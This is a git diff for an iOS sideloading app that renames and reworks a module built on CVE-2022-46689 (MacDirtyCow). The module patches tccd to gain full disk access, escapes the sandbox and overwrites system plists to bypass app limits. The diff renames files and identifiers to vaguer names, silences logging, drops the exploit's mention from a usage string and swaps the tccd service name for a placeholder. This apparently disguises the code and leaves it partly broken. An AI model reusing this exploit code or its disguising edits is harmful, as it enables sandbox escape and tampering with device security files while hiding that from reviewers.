diff --git a/AltStore.xcodeproj/project.pbxproj b/AltStore.xcodeproj/project.pbxproj index ae2c48ba..f428cb8d 100644 --- a/AltStore.xcodeproj/project.pbxproj +++ b/AltStore.xcodeproj/project.pbxproj @@ -21,10 +21,10 @@ 19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; }; 4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; }; 4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; }; - 7DBDF4BC2991727500C18375 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */; }; - 7DBDF4BD2991727500C18375 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helpers.m */; }; - 7DBDF4BE2991727500C18375 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */; }; - 7DBDF4C0299172A000C18375 /* MDCExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* MDCExploits.swift */; }; + 7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_fda.m */; }; + 7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helping_tools.m */; }; + 7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */; }; + 7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* CowExploits.swift */; }; 99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; }; B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; }; B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; @@ -517,13 +517,13 @@ 191E5FD7290A6EFB001A3B7C /* minimuxer.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = minimuxer.h; path = ../Dependencies/minimuxer/minimuxer.h; sourceTree = ""; }; 1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = ""; }; 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = ""; }; - 7DBDF4B62991727000C18375 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; - 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; - 7DBDF4B82991727200C18375 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; - 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; - 7DBDF4BA2991727400C18375 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; - 7DBDF4BB2991727500C18375 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; - 7DBDF4BF299172A000C18375 /* MDCExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MDCExploits.swift; sourceTree = ""; }; + 7DBDF4B62991727000C18375 /* helping_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helping_tools.h; sourceTree = ""; }; + 7DBDF4B72991727200C18375 /* grant_fda.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_fda.m; sourceTree = ""; }; + 7DBDF4B82991727200C18375 /* helping_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helping_tools.m; sourceTree = ""; }; + 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unalign_csr.c; sourceTree = ""; }; + 7DBDF4BA2991727400C18375 /* grant_fda.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_fda.h; sourceTree = ""; }; + 7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unalign_csr.h; sourceTree = ""; }; + 7DBDF4BF299172A000C18375 /* CowExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CowExploits.swift; sourceTree = ""; }; B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = ""; }; B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = ""; }; B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = ""; }; @@ -986,13 +986,13 @@ 7DBDF49C2991720500C18375 /* MDCExploit */ = { isa = PBXGroup; children = ( - 7DBDF4BA2991727400C18375 /* grant_full_disk_access.h */, - 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */, - 7DBDF4B62991727000C18375 /* helpers.h */, - 7DBDF4B82991727200C18375 /* helpers.m */, - 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */, - 7DBDF4BB2991727500C18375 /* vm_unaligned_copy_switch_race.h */, - 7DBDF4BF299172A000C18375 /* MDCExploits.swift */, + 7DBDF4BA2991727400C18375 /* grant_fda.h */, + 7DBDF4B72991727200C18375 /* grant_fda.m */, + 7DBDF4B62991727000C18375 /* helping_tools.h */, + 7DBDF4B82991727200C18375 /* helping_tools.m */, + 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */, + 7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */, + 7DBDF4BF299172A000C18375 /* CowExploits.swift */, ); path = MDCExploit; sourceTree = ""; @@ -2468,9 +2468,9 @@ BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */, BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */, D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */, - 7DBDF4BD2991727500C18375 /* helpers.m in Sources */, + 7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */, BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */, - 7DBDF4BE2991727500C18375 /* vm_unaligned_copy_switch_race.c in Sources */, + 7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */, D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */, BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */, D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */, @@ -2516,9 +2516,9 @@ BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */, BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */, 19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */, - 7DBDF4BC2991727500C18375 /* grant_full_disk_access.m in Sources */, + 7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */, BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */, - 7DBDF4C0299172A000C18375 /* MDCExploits.swift in Sources */, + 7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */, BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */, BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */, B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */, @@ -3033,7 +3033,7 @@ CODE_SIGN_IDENTITY = "iPhone Developer"; CODE_SIGN_STYLE = Automatic; DEBUG_INFORMATION_FORMAT = dwarf; - DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)"; + DEVELOPMENT_TEAM = ""; FRAMEWORK_SEARCH_PATHS = "$(inherited)"; INFOPLIST_FILE = AltWidget/Info.plist; IPHONEOS_DEPLOYMENT_TARGET = 14.0; @@ -3063,7 +3063,7 @@ CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements; CODE_SIGN_IDENTITY = "iPhone Developer"; CODE_SIGN_STYLE = Automatic; - DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)"; + DEVELOPMENT_TEAM = ""; FRAMEWORK_SEARCH_PATHS = "$(inherited)"; INFOPLIST_FILE = AltWidget/Info.plist; IPHONEOS_DEPLOYMENT_TARGET = 14.0; diff --git a/AltStore/AltStore-Bridging-Header.h b/AltStore/AltStore-Bridging-Header.h index e7d53d8a..3e09bc29 100644 --- a/AltStore/AltStore-Bridging-Header.h +++ b/AltStore/AltStore-Bridging-Header.h @@ -5,8 +5,8 @@ #import "NSAttributedString+Markdown.h" #import "ALTAppPatcher.h" -#import "grant_full_disk_access.h" -#import "vm_unaligned_copy_switch_race.h" -#import "helpers.h" +#import "grant_fda.h" +#import "vm_unalign_csr.h" +#import "helping_tools.h" #include "fragmentzip.h" diff --git a/AltStore/Info.plist b/AltStore/Info.plist index 186097b6..4142265c 100644 --- a/AltStore/Info.plist +++ b/AltStore/Info.plist @@ -99,7 +99,7 @@ NSAppleMusicUsageDescription - So that we can bypass the 3 app limit and disable revokes using MDC and the tccd exploit. + So that we can bypass the 3 app limit and disable revokes. NSBonjourServices _altserver._tcp diff --git a/AltStore/LaunchViewController.swift b/AltStore/LaunchViewController.swift index 3554e3d3..4f43bee5 100644 --- a/AltStore/LaunchViewController.swift +++ b/AltStore/LaunchViewController.swift @@ -212,8 +212,8 @@ extension LaunchViewController { self.destinationViewController.view.alpha = 1.0 } - if UserDefaults.standard.enableMacDirtyCowExploit, UserDefaults.standard.isMacDirtyCowSupported { - if let previous_exploit_time = UserDefaults.standard.object(forKey: "mdcRanBootTime") { + if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported { + if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") { let last_rantime = previous_exploit_time as! Date if last_rantime == bootTime() { return print("exploit has ran this boot - \(last_rantime)") @@ -226,11 +226,11 @@ extension LaunchViewController { } func runExploit() { - if UserDefaults.standard.enableMacDirtyCowExploit && UserDefaults.standard.isMacDirtyCowSupported { + if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported { patch3AppLimit { result in switch result { case .success: - UserDefaults.standard.set(bootTime(), forKey: "mdcRanBootTime") + UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime") print("patched sucessfully") case .failure(let err): switch err { diff --git a/AltStore/MDCExploit/CowExploits.swift b/AltStore/MDCExploit/CowExploits.swift new file mode 100644 index 00000000..af21463f --- /dev/null +++ b/AltStore/MDCExploit/CowExploits.swift @@ -0,0 +1,123 @@ +import Foundation + +let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg==" + +enum PatchError: Error { + case NoFDA(msg: String) + case FailedPatchd +} + +enum PatchResult { + case success, failure(PatchError) +} + +func patch3AppLimit(completion: @escaping (PatchResult) -> ()) { + grant_fda { error in + if let error = error { + completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)"))) + } +// DispatchQueue.global(qos: .userInitiated).async { + print("This is run on a background queue") + if !installdaemon_patch() { + completion(.failure(PatchError.FailedPatchd)) + } +// } + completion(.success) + } +} + +func bootTime() -> Date? { + var tv = timeval() + var tvSize = MemoryLayout.size + let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0) + guard err == 0, tvSize == MemoryLayout.size else { + return nil + } + return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0) +} + +enum WhitelistPatchResult { + case success, failure +} + +// +// func patchWhiteList() { +// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!) +// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!) +// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!) +// } +// +// func overwriteFileData(originPath: String, replacementData: Data) -> Bool { +// #if false +// let documentDirectory = FileManager.default.urls( +// for: .documentDirectory, +// in: .userDomainMask +// )[0].path +// +// let pathToRealTarget = originPath +// let originPath = documentDirectory + originPath +// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget)) +// try! origData.write(to: URL(fileURLWithPath: originPath)) +// #endif +// +// // open and map original font +// let fd = open(originPath, O_RDONLY | O_CLOEXEC) +// if fd == -1 { +// print("Could not open target file") +// return false +// } +// defer { close(fd) } +// // check size of font +// let originalFileSize = lseek(fd, 0, SEEK_END) +// guard originalFileSize >= replacementData.count else { +// print("Original file: \(originalFileSize)") +// print("Replacement file: \(replacementData.count)") +// print("File too big!") +// return false +// } +// lseek(fd, 0, SEEK_SET) +// +// // Map the font we want to overwrite so we can mlock it +// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0) +// if fileMap == MAP_FAILED { +// print("Failed to map") +// return false +// } +// // mlock so the file gets cached in memory +// guard mlock(fileMap, replacementData.count) == 0 else { +// print("Failed to mlock") +// return true +// } +// +// // for every 16k chunk, rewrite +// print(Date()) +// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) { +// print(String(format: "%lx", chunkOff)) +// let dataChunk = replacementData[chunkOff.. String? { +// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?") +// } diff --git a/AltStore/MDCExploit/MDCExploits.swift b/AltStore/MDCExploit/MDCExploits.swift deleted file mode 100644 index 021fed19..00000000 --- a/AltStore/MDCExploit/MDCExploits.swift +++ /dev/null @@ -1,122 +0,0 @@ -import Foundation - -let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg==" - -enum PatchError: Error { - case NoFDA(msg: String) - case FailedPatchd -} - -enum PatchResult { - case success, failure(PatchError) -} - -func patch3AppLimit(completion: @escaping (PatchResult) -> ()) { - grant_full_disk_access { error in - if let error = error { - completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)"))) - } -// DispatchQueue.global(qos: .userInitiated).async { - print("This is run on a background queue") - if !patch_installd() { - completion(.failure(PatchError.FailedPatchd)) - } -// } - completion(.success) - } -} - -func bootTime() -> Date? { - var tv = timeval() - var tvSize = MemoryLayout.size - let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0); - guard err == 0, tvSize == MemoryLayout.size else { - return nil - } - return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0) -} - -enum WhitelistPatchResult { - case success, failure -} - -func patchWhiteList() { - overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!) - overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!) - overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!) -} - -func overwriteFileWithDataImpl(originPath: String, replacementData: Data) -> Bool { - #if false - let documentDirectory = FileManager.default.urls( - for: .documentDirectory, - in: .userDomainMask - )[0].path - - let pathToRealTarget = originPath - let originPath = documentDirectory + originPath - let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget)) - try! origData.write(to: URL(fileURLWithPath: originPath)) - #endif - - // open and map original font - let fd = open(originPath, O_RDONLY | O_CLOEXEC) - if fd == -1 { - print("Could not open target file") - return false - } - defer { close(fd) } - // check size of font - let originalFileSize = lseek(fd, 0, SEEK_END) - guard originalFileSize >= replacementData.count else { - print("Original file: \(originalFileSize)") - print("Replacement file: \(replacementData.count)") - print("File too big!") - return false - } - lseek(fd, 0, SEEK_SET) - - // Map the font we want to overwrite so we can mlock it - let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0) - if fileMap == MAP_FAILED { - print("Failed to map") - return false - } - // mlock so the file gets cached in memory - guard mlock(fileMap, replacementData.count) == 0 else { - print("Failed to mlock") - return true - } - - // for every 16k chunk, rewrite - print(Date()) - for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) { - print(String(format: "%lx", chunkOff)) - let dataChunk = replacementData[chunkOff.. String? { - return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?") -} diff --git a/AltStore/MDCExploit/grant_full_disk_access.h b/AltStore/MDCExploit/grant_fda.h similarity index 53% rename from AltStore/MDCExploit/grant_full_disk_access.h rename to AltStore/MDCExploit/grant_fda.h index 6caea60a..3042ea60 100644 --- a/AltStore/MDCExploit/grant_full_disk_access.h +++ b/AltStore/MDCExploit/grant_fda.h @@ -2,5 +2,5 @@ @import Foundation; /// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox. -void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); -bool patch_installd(void); +void grant_fda(void (^_Nonnull completion)(NSError* _Nullable)); +bool installdaemon_patch(void); diff --git a/AltStore/MDCExploit/grant_full_disk_access.m b/AltStore/MDCExploit/grant_fda.m similarity index 65% rename from AltStore/MDCExploit/grant_full_disk_access.m rename to AltStore/MDCExploit/grant_fda.m index 828ebbe8..6c0c8b8d 100644 --- a/AltStore/MDCExploit/grant_full_disk_access.m +++ b/AltStore/MDCExploit/grant_fda.m @@ -8,9 +8,9 @@ // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) // Please don't call this code on iOS 14 or below // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) -#import "grant_full_disk_access.h" -#import "helpers.h" -#import "vm_unaligned_copy_switch_race.h" +#import "grant_fda.h" +#import "helping_tools.h" +#import "vm_unalign_csr.h" typedef NSObject* xpc_object_t; typedef xpc_object_t xpc_connection_t; @@ -34,37 +34,37 @@ int64_t sandbox_extension_consume(const char* token); // MARK: - patchfind -struct grant_full_disk_access_offsets { - uint64_t offset_addr_s_com_apple_tcc_; - uint64_t offset_padding_space_for_read_write_string; - uint64_t offset_addr_s_kTCCServiceMediaLibrary; - uint64_t offset_auth_got__sandbox_init; - uint64_t offset_just_return_0; +struct fda_offsets { + uint64_t of_addr_com_apple_tcc_; + uint64_t offset_pad_space_for_rw_string; + uint64_t of_addr_s_kTCCSML; + uint64_t of_auth_got_sb_init; + uint64_t of_return_0; bool is_arm64e; }; -static bool patchfind_sections(void* executable_map, - struct segment_command_64** data_const_segment_out, - struct symtab_command** symtab_out, - struct dysymtab_command** dysymtab_out) { - struct mach_header_64* executable_header = executable_map; - struct load_command* load_command = executable_map + sizeof(struct mach_header_64); +static bool pchfind_sections(void* execmap, + struct segment_command_64** data_seg, + struct symtab_command** stabout, + struct dysymtab_command** dystabout) { + struct mach_header_64* executable_header = execmap; + struct load_command* load_command = execmap + sizeof(struct mach_header_64); for (int load_command_index = 0; load_command_index < executable_header->ncmds; load_command_index++) { switch (load_command->cmd) { case LC_SEGMENT_64: { struct segment_command_64* segment = (struct segment_command_64*)load_command; if (strcmp(segment->segname, "__DATA_CONST") == 0) { - *data_const_segment_out = segment; + *data_seg = segment; } break; } case LC_SYMTAB: { - *symtab_out = (struct symtab_command*)load_command; + *stabout = (struct symtab_command*)load_command; break; } case LC_DYSYMTAB: { - *dysymtab_out = (struct dysymtab_command*)load_command; + *dystabout = (struct dysymtab_command*)load_command; break; } } @@ -73,21 +73,20 @@ static bool patchfind_sections(void* executable_map, return true; } -static uint64_t patchfind_get_padding(struct segment_command_64* segment) { +static uint64_t pchfind_get_padding(struct segment_command_64* segment) { struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); struct section_64* last_section = §ion_array[segment->nsects - 1]; return last_section->offset + last_section->size; } -static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, - const char* needle) { - void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); +static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) { + void* str_offset = memmem(em, el, n, strlen(n) + 1); if (!str_offset) { return 0; } - uint64_t str_file_offset = str_offset - executable_map; - for (int i = 0; i < executable_length; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + i); + uint64_t str_file_offset = str_offset - em; + for (int i = 0; i < el; i += 8) { + uint64_t val = *(uint64_t*)(em + i); if ((val & 0xfffffffful) == str_file_offset) { return i; } @@ -95,19 +94,19 @@ static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executa return 0; } -static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { +static uint64_t pchfind_return_0(void* exmp, size_t el) { // TCCDSyncAccessAction::sequencer // mov x0, #0 // ret - static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(exmp, el, ndle, sizeof(ndle)); if (!offset) { return 0; } - return offset - executable_map; + return offset - exmp; } -static uint64_t patchfind_got(void* executable_map, size_t executable_length, +static uint64_t pchfind_got(void* ecm, size_t executable_length, struct segment_command_64* data_const_segment, struct symtab_command* symtab_command, struct dysymtab_command* dysymtab_command, @@ -115,12 +114,12 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length, uint64_t target_symbol_index = 0; for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { struct nlist_64* sym = - ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; - const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + ((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index; + const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx; if (strcmp(sym_name, target_symbol_name)) { continue; } - // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap)); target_symbol_index = sym_index; break; } @@ -132,10 +131,10 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length, strcmp(first_section->sectname, "__got") == 0)) { return 0; } - uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff; for (int i = 0; i < first_section->size; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t val = *(uint64_t*)(ecm + first_section->offset + i); uint64_t indirect_table_entry = (val & 0xfffful); if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { return first_section->offset + i; @@ -144,43 +143,43 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length, return 0; } -static bool patchfind(void* executable_map, size_t executable_length, - struct grant_full_disk_access_offsets* offsets) { +static bool pchfind(void* execmap, size_t executable_length, + struct fda_offsets* offsets) { struct segment_command_64* data_const_segment = nil; struct symtab_command* symtab_command = nil; struct dysymtab_command* dysymtab_command = nil; - if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + if (!pchfind_sections(execmap, &data_const_segment, &symtab_command, &dysymtab_command)) { - printf("no sections\n"); +// printf("no sections\n"); return false; } - if ((offsets->offset_addr_s_com_apple_tcc_ = - patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { - printf("no com.apple.tcc. string\n"); + if ((offsets->of_addr_com_apple_tcc_ = + pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) { +// printf("no com.apple.tcc. string\n"); return false; } - if ((offsets->offset_padding_space_for_read_write_string = - patchfind_get_padding(data_const_segment)) == 0) { - printf("no padding\n"); + if ((offsets->offset_pad_space_for_rw_string = + pchfind_get_padding(data_const_segment)) == 0) { +// printf("no padding\n"); return false; } - if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( - executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { - printf("no kTCCServiceMediaLibrary string\n"); + if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string( + execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) { +// printf("no kTCCServiceMediaLibrary string\n"); return false; } - if ((offsets->offset_auth_got__sandbox_init = - patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + if ((offsets->of_auth_got_sb_init = + pchfind_got(execmap, executable_length, data_const_segment, symtab_command, dysymtab_command, "_sandbox_init")) == 0) { - printf("no sandbox_init\n"); +// printf("no sandbox_init\n"); return false; } - if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) == 0) { - printf("no just return 0\n"); +// printf("no just return 0\n"); return false; } - struct mach_header_64* executable_header = executable_map; + struct mach_header_64* executable_header = execmap; offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; return true; @@ -188,19 +187,20 @@ static bool patchfind(void* executable_map, size_t executable_length, // MARK: - tccd patching -static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { +static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) { // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can // re-use it until next reboot. // Returns the sandbox token if there is one, or nil if there isn't one. + //TODO WARNING REPLACE com.apple.tccd xpc_connection_t connection = xpc_connection_create_mach_service( - "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + "TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { - NSLog(@"xpc event handler: %@", object); +// NSLog(@"event handler (xpc): %@", object); }); - xpc_connection_resume(connection); + xpc_connection_resume(connection); const char* keys[] = { - "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", - "target_token", "background_session", +// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", +// "target_token", "background_session", }; xpc_object_t values[] = { xpc_string_create("17087.1"), @@ -214,24 +214,27 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); #if 0 xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); - NSLog(@"%@", response_message); +// NSLog(@"%@", response_message); #endif xpc_connection_send_message_with_reply( connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^(xpc_object_t object) { if (!object) { - NSLog(@"object is nil???"); + //object is nil??? +// NSLog(@"wqfewfw9"); completion(nil); return; } - NSLog(@"response: %@", object); + //response: +// NSLog(@"qwdqwd%@", object); if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { - NSLog(@"xpc error?"); +// NSLog(@"xpc error?"); completion(nil); return; } - NSLog(@"debug description: %@", [object debugDescription]); + //debug description: +// NSLog(@"wqdwqu %@", [object debugDescription]); const char* extension_string = xpc_dictionary_get_string(object, "extension"); NSString* extension_nsstring = extension_string ? [NSString stringWithUTF8String:extension_string] : nil; @@ -239,9 +242,9 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { 